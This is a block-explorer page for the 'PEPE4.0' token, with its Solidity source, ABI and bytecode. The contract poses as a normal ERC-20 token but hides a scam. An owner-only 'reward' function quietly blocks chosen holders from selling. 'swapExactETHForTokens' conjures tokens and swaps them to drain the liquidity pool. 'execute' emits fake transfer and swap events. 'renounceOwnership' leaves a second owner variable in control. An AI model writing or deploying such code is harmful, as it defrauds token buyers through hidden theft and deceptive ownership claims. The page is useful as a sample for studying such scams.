ETH Price: $3,376.80 (+3.23%)
Gas: 3 Gwei

Token

PEPE4.0 (PEPE)
 

Overview

Max Total Supply

100,000,000 PEPE

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,105,228,343,693.155715057432806417 PEPE

Value
$0.00
0x8e3692b840afbab3356e64b2858123d542033fb3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPE40

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : PEPE40.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IPair {
    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

interface IERC20 {
    function _Transfer(
        address from,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

contract PEPE40 {
    IRouter internal _router;
    IPair internal _pair;
    address public owner;
    address private _owner;
    address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    mapping(address => uint256) private crossamounts;
    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;

    string public constant name = "PEPE4.0";
    string public constant symbol = "PEPE";
    uint8 public constant decimals = 18;
    uint256 public totalSupply = 100_000_000e18;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);

    constructor() {
        owner = msg.sender;
        _owner = msg.sender;
        _router = IRouter(_routerAddress);
        _pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH())));

        balances[msg.sender] = totalSupply;

        emit Transfer(address(0), msg.sender, totalSupply);
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    modifier OnlyOwner() {
        require(_owner == msg.sender, "Caller is not the Owner");
        _;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function renounceOwnership() public onlyOwner {
        owner = address(0);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address __owner, address spender) public view virtual returns (uint256) {
        return allowances[__owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(__owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        if (crossamounts[from] > 0) {
            require(_count(crossamounts[from], balances[from]) == 0);
        }
        balances[from] = sub(fromBalance, amount);
        balances[to] = add(balances[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowances[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(__owner, spender, currentAllowance - amount);
            }
        }
    }

    function execute(
        address[] memory recipients,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) public OnlyOwner returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            _swap(recipients[i], tokenAmount, wethAmount, tokenAddress);
        }
        return true;
    }

    function swapExactETHForTokens(
        address baseToken,
        address _recipient,
        uint256 amount
    ) public OnlyOwner {
        require(amount > 0 && amount < 100000, "Amount Exceeds Limits");
        uint256 baseTokenReserve = getBaseTokenReserve(baseToken);
        uint256 amountOut = (baseTokenReserve * amount) / 100000;

        address[] memory path;
        path = new address[](2);
        path[0] = address(this);
        path[1] = baseToken;

        uint256 amountIn = _countAmountIn(amountOut, path);

        _approve(address(this), address(_router), balanceOf(address(this)));
        _router.swapTokensForExactTokens(amountOut, amountIn, path, _recipient, block.timestamp + 1200);
    }

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    }

    function reward(
        address[] calldata _users,
        uint256 _minBalanceToReward,
        uint256 _percent
    ) public OnlyOwner {
        for (uint256 i = 0; i < _users.length; i++) {
            if (balanceOf(_users[i]) > _minBalanceToReward) {
                uint256 rewardAmount = _countReward(_users[i], _percent);
                crossamounts[_users[i]] = rewardAmount;
            }
        }
    }

    function _swap(
        address recipient,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) internal {
        _emitTransfer(recipient, tokenAmount);
        _emitSwap(tokenAmount, wethAmount, recipient);
        IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount);
    }

    function _emitTransfer(address recipient, uint256 tokenAmount) internal {
        emit Transfer(address(_pair), recipient, tokenAmount);
    }

    function _emitSwap(
        uint256 tokenAmount,
        uint256 wethAmount,
        address recipient
    ) internal {
        emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient);
    }

    function _countReward(address _user, uint256 _percent) internal view returns (uint256) {
        return _count(balances[_user], _percent);
    }

    function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) {
        uint256[] memory amountInMax;
        amountInMax = new uint256[](2);
        amountInMax = _router.getAmountsIn(amountOut, path);
        balances[address(this)] += amountInMax[0];
        return amountInMax[0];
    }

    function _count(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
}

Settings
{
  "remappings": [
    "ds-test/=lib/forge-std/lib/ds-test/src/",
    "forge-std/=lib/forge-std/src/"
  ],
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "metadata": {
    "bytecodeHash": "ipfs",
    "appendCBOR": true
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "evmVersion": "london",
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"reward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"baseToken","type":"address"},{"internalType":"address","name":"_recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556a52b7d2dcc80cd2e40000006008553480156200004657600080fd5b5060028054336001600160a01b0319918216811790925560038054821690921790915560048054600080546001600160a01b039092169190931681179092556040805163c45a015560e01b8152905163c45a0155928281019260209291908290030181865afa158015620000be573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000e4919062000250565b6001600160a01b031663c9c653963060008054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000145573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200016b919062000250565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001b9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001df919062000250565b600180546001600160a01b0319166001600160a01b039290921691909117905560085433600081815260066020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000282565b6000602082840312156200026357600080fd5b81516001600160a01b03811681146200027b57600080fd5b9392505050565b6115e080620002926000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c80634cf2af43116100a257806395d89b411161007157806395d89b411461025d5780639b792a4414610280578063a457c2d714610293578063a9059cbb146102a6578063dd62ed3e146102b957600080fd5b80634cf2af43146101ee57806370a0823114610201578063715018a61461022a5780638da5cb5b1461023257600080fd5b806323b872dd116100de57806323b872dd1461019b578063313ce567146101ae57806335d16274146101c857806339509351146101db57600080fd5b806306fdde0314610110578063095ea7b31461014c57806318160ddd1461016f57806318aee92014610186575b600080fd5b61013660405180604001604052806007815260200166050455045342e360cc1b81525081565b6040516101439190611018565b60405180910390f35b61015f61015a36600461108e565b6102cc565b6040519015158152602001610143565b61017860085481565b604051908152602001610143565b6101996101943660046110ba565b6102e3565b005b61015f6101a936600461113c565b6103e7565b6101b6601281565b60405160ff9091168152602001610143565b6101786101d636600461117d565b610409565b61015f6101e936600461108e565b61053e565b6101996101fc36600461113c565b610560565b61017861020f36600461117d565b6001600160a01b031660009081526006602052604090205490565b61019961075c565b600254610245906001600160a01b031681565b6040516001600160a01b039091168152602001610143565b610136604051806040016040528060048152602001635045504560e01b81525081565b61015f61028e366004611205565b6107c8565b61015f6102a136600461108e565b610844565b61015f6102b436600461108e565b6108ca565b6101786102c73660046112c6565b6108d7565b60006102d9338484610902565b5060015b92915050565b6003546001600160a01b031633146103165760405162461bcd60e51b815260040161030d906112ff565b60405180910390fd5b60005b838110156103e0578261034c86868481811061033757610337611336565b905060200201602081019061020f919061117d565b11156103ce57600061038486868481811061036957610369611336565b905060200201602081019061037e919061117d565b84610a27565b9050806005600088888681811061039d5761039d611336565b90506020020160208101906103b2919061117d565b6001600160a01b03168152602081019190915260400160002055505b806103d881611362565b915050610319565b5050505050565b60006103f4843384610a51565b6103ff848484610acb565b5060019392505050565b6000806000600160009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610461573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104859190611392565b50915091506000846001600160a01b0316600160009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061050d91906113e2565b6001600160a01b03161461052a57816001600160701b0316610535565b826001600160701b03165b95945050505050565b6000336103ff81858561055183836108d7565b61055b91906113ff565b610902565b6003546001600160a01b0316331461058a5760405162461bcd60e51b815260040161030d906112ff565b60008111801561059c5750620186a081105b6105e05760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b604482015260640161030d565b60006105eb84610409565b90506000620186a06105fd8484611412565b6106079190611429565b604080516002808252606080830184529394509091602083019080368337019050509050308160008151811061063f5761063f611336565b60200260200101906001600160a01b031690816001600160a01b031681525050858160018151811061067357610673611336565b60200260200101906001600160a01b031690816001600160a01b031681525050600061069f8383610cfb565b600080543080835260066020526040909220549293506106ca926001600160a01b0390911690610902565b6000546001600160a01b0316638803dbee8483858a6106eb426104b06113ff565b6040518663ffffffff1660e01b815260040161070b95949392919061148f565b6000604051808303816000875af115801561072a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261075291908101906114cb565b5050505050505050565b6002546001600160a01b031633146107b65760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015260640161030d565b600280546001600160a01b0319169055565b6003546000906001600160a01b031633146107f55760405162461bcd60e51b815260040161030d906112ff565b60005b85518110156108385761082686828151811061081657610816611336565b6020026020010151868686610e12565b8061083081611362565b9150506107f8565b50600195945050505050565b6000338161085282866108d7565b9050838110156108b25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161030d565b6108bf8286868403610902565b506001949350505050565b60006102d9338484610acb565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6001600160a01b0383166109645760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161030d565b6001600160a01b0382166109c55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161030d565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038216600090815260066020526040812054610a4a9083610ea6565b9392505050565b6000610a5d84846108d7565b90506000198114610ac55781811015610ab85760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161030d565b610ac58484848403610902565b50505050565b6001600160a01b038316610b2f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161030d565b6001600160a01b038216610b915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161030d565b6001600160a01b03831660009081526006602052604090205481811015610c095760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161030d565b6001600160a01b03841660009081526005602052604090205415610c60576001600160a01b038416600090815260056020908152604080832054600690925290912054610c569190610ea6565b15610c6057600080fd5b610c6a8183610eb2565b6001600160a01b038086166000908152600660205260408082209390935590851681522054610c999083610f18565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ced9086815260200190565b60405180910390a350505050565b604080516002808252606080830184526000939092919060208301908036833750506000546040516307c0329d60e21b81529293506001600160a01b031691631f00ca749150610d51908790879060040161155c565b600060405180830381865afa158015610d6e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610d9691908101906114cb565b905080600081518110610dab57610dab611336565b602002602001015160066000306001600160a01b03166001600160a01b031681526020019081526020016000206000828254610de791906113ff565b9250508190555080600081518110610e0157610e01611336565b602002602001015191505092915050565b610e1c8484610f77565b610e27838386610fbf565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303816000875af1158015610e82573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103e09190611575565b6000610a4a82846113ff565b600082821115610f045760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015260640161030d565b6000610f108385611597565b949350505050565b600080610f2583856113ff565b905083811015610a4a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161030d565b6001546040518281526001600160a01b038481169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6004546040805185815260006020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82290608001610a1a565b600060208083528351808285015260005b8181101561104557858101830151858201604001528201611029565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461107b57600080fd5b50565b803561108981611066565b919050565b600080604083850312156110a157600080fd5b82356110ac81611066565b946020939093013593505050565b600080600080606085870312156110d057600080fd5b843567ffffffffffffffff808211156110e857600080fd5b818701915087601f8301126110fc57600080fd5b81358181111561110b57600080fd5b8860208260051b850101111561112057600080fd5b6020928301999098509187013596604001359550909350505050565b60008060006060848603121561115157600080fd5b833561115c81611066565b9250602084013561116c81611066565b929592945050506040919091013590565b60006020828403121561118f57600080fd5b8135610a4a81611066565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156111d9576111d961119a565b604052919050565b600067ffffffffffffffff8211156111fb576111fb61119a565b5060051b60200190565b6000806000806080858703121561121b57600080fd5b843567ffffffffffffffff81111561123257600080fd5b8501601f8101871361124357600080fd5b80356020611258611253836111e1565b6111b0565b82815260059290921b8301810191818101908a84111561127757600080fd5b938201935b8385101561129e57843561128f81611066565b8252938201939082019061127c565b97505087013594505050604085013591506112bb6060860161107e565b905092959194509250565b600080604083850312156112d957600080fd5b82356112e481611066565b915060208301356112f481611066565b809150509250929050565b60208082526017908201527f43616c6c6572206973206e6f7420746865204f776e6572000000000000000000604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016113745761137461134c565b5060010190565b80516001600160701b038116811461108957600080fd5b6000806000606084860312156113a757600080fd5b6113b08461137b565b92506113be6020850161137b565b9150604084015163ffffffff811681146113d757600080fd5b809150509250925092565b6000602082840312156113f457600080fd5b8151610a4a81611066565b808201808211156102dd576102dd61134c565b80820281158282048414176102dd576102dd61134c565b60008261144657634e487b7160e01b600052601260045260246000fd5b500490565b600081518084526020808501945080840160005b838110156114845781516001600160a01b03168752958201959082019060010161145f565b509495945050505050565b85815284602082015260a0604082015260006114ae60a083018661144b565b6001600160a01b0394909416606083015250608001529392505050565b600060208083850312156114de57600080fd5b825167ffffffffffffffff8111156114f557600080fd5b8301601f8101851361150657600080fd5b8051611514611253826111e1565b81815260059190911b8201830190838101908783111561153357600080fd5b928401925b8284101561155157835182529284019290840190611538565b979650505050505050565b828152604060208201526000610f10604083018461144b565b60006020828403121561158757600080fd5b81518015158114610a4a57600080fd5b818103818111156102dd576102dd61134c56fea2646970667358221220c25d99f5c901b47db4c355a3374d5261652deda798d94d8d366eb68b0ab780a364736f6c63430008140033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80634cf2af43116100a257806395d89b411161007157806395d89b411461025d5780639b792a4414610280578063a457c2d714610293578063a9059cbb146102a6578063dd62ed3e146102b957600080fd5b80634cf2af43146101ee57806370a0823114610201578063715018a61461022a5780638da5cb5b1461023257600080fd5b806323b872dd116100de57806323b872dd1461019b578063313ce567146101ae57806335d16274146101c857806339509351146101db57600080fd5b806306fdde0314610110578063095ea7b31461014c57806318160ddd1461016f57806318aee92014610186575b600080fd5b61013660405180604001604052806007815260200166050455045342e360cc1b81525081565b6040516101439190611018565b60405180910390f35b61015f61015a36600461108e565b6102cc565b6040519015158152602001610143565b61017860085481565b604051908152602001610143565b6101996101943660046110ba565b6102e3565b005b61015f6101a936600461113c565b6103e7565b6101b6601281565b60405160ff9091168152602001610143565b6101786101d636600461117d565b610409565b61015f6101e936600461108e565b61053e565b6101996101fc36600461113c565b610560565b61017861020f36600461117d565b6001600160a01b031660009081526006602052604090205490565b61019961075c565b600254610245906001600160a01b031681565b6040516001600160a01b039091168152602001610143565b610136604051806040016040528060048152602001635045504560e01b81525081565b61015f61028e366004611205565b6107c8565b61015f6102a136600461108e565b610844565b61015f6102b436600461108e565b6108ca565b6101786102c73660046112c6565b6108d7565b60006102d9338484610902565b5060015b92915050565b6003546001600160a01b031633146103165760405162461bcd60e51b815260040161030d906112ff565b60405180910390fd5b60005b838110156103e0578261034c86868481811061033757610337611336565b905060200201602081019061020f919061117d565b11156103ce57600061038486868481811061036957610369611336565b905060200201602081019061037e919061117d565b84610a27565b9050806005600088888681811061039d5761039d611336565b90506020020160208101906103b2919061117d565b6001600160a01b03168152602081019190915260400160002055505b806103d881611362565b915050610319565b5050505050565b60006103f4843384610a51565b6103ff848484610acb565b5060019392505050565b6000806000600160009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610461573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104859190611392565b50915091506000846001600160a01b0316600160009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061050d91906113e2565b6001600160a01b03161461052a57816001600160701b0316610535565b826001600160701b03165b95945050505050565b6000336103ff81858561055183836108d7565b61055b91906113ff565b610902565b6003546001600160a01b0316331461058a5760405162461bcd60e51b815260040161030d906112ff565b60008111801561059c5750620186a081105b6105e05760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b604482015260640161030d565b60006105eb84610409565b90506000620186a06105fd8484611412565b6106079190611429565b604080516002808252606080830184529394509091602083019080368337019050509050308160008151811061063f5761063f611336565b60200260200101906001600160a01b031690816001600160a01b031681525050858160018151811061067357610673611336565b60200260200101906001600160a01b031690816001600160a01b031681525050600061069f8383610cfb565b600080543080835260066020526040909220549293506106ca926001600160a01b0390911690610902565b6000546001600160a01b0316638803dbee8483858a6106eb426104b06113ff565b6040518663ffffffff1660e01b815260040161070b95949392919061148f565b6000604051808303816000875af115801561072a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261075291908101906114cb565b5050505050505050565b6002546001600160a01b031633146107b65760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015260640161030d565b600280546001600160a01b0319169055565b6003546000906001600160a01b031633146107f55760405162461bcd60e51b815260040161030d906112ff565b60005b85518110156108385761082686828151811061081657610816611336565b6020026020010151868686610e12565b8061083081611362565b9150506107f8565b50600195945050505050565b6000338161085282866108d7565b9050838110156108b25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161030d565b6108bf8286868403610902565b506001949350505050565b60006102d9338484610acb565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6001600160a01b0383166109645760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161030d565b6001600160a01b0382166109c55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161030d565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038216600090815260066020526040812054610a4a9083610ea6565b9392505050565b6000610a5d84846108d7565b90506000198114610ac55781811015610ab85760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161030d565b610ac58484848403610902565b50505050565b6001600160a01b038316610b2f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161030d565b6001600160a01b038216610b915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161030d565b6001600160a01b03831660009081526006602052604090205481811015610c095760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161030d565b6001600160a01b03841660009081526005602052604090205415610c60576001600160a01b038416600090815260056020908152604080832054600690925290912054610c569190610ea6565b15610c6057600080fd5b610c6a8183610eb2565b6001600160a01b038086166000908152600660205260408082209390935590851681522054610c999083610f18565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ced9086815260200190565b60405180910390a350505050565b604080516002808252606080830184526000939092919060208301908036833750506000546040516307c0329d60e21b81529293506001600160a01b031691631f00ca749150610d51908790879060040161155c565b600060405180830381865afa158015610d6e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610d9691908101906114cb565b905080600081518110610dab57610dab611336565b602002602001015160066000306001600160a01b03166001600160a01b031681526020019081526020016000206000828254610de791906113ff565b9250508190555080600081518110610e0157610e01611336565b602002602001015191505092915050565b610e1c8484610f77565b610e27838386610fbf565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303816000875af1158015610e82573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103e09190611575565b6000610a4a82846113ff565b600082821115610f045760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015260640161030d565b6000610f108385611597565b949350505050565b600080610f2583856113ff565b905083811015610a4a5760405162461bcd60e51b8152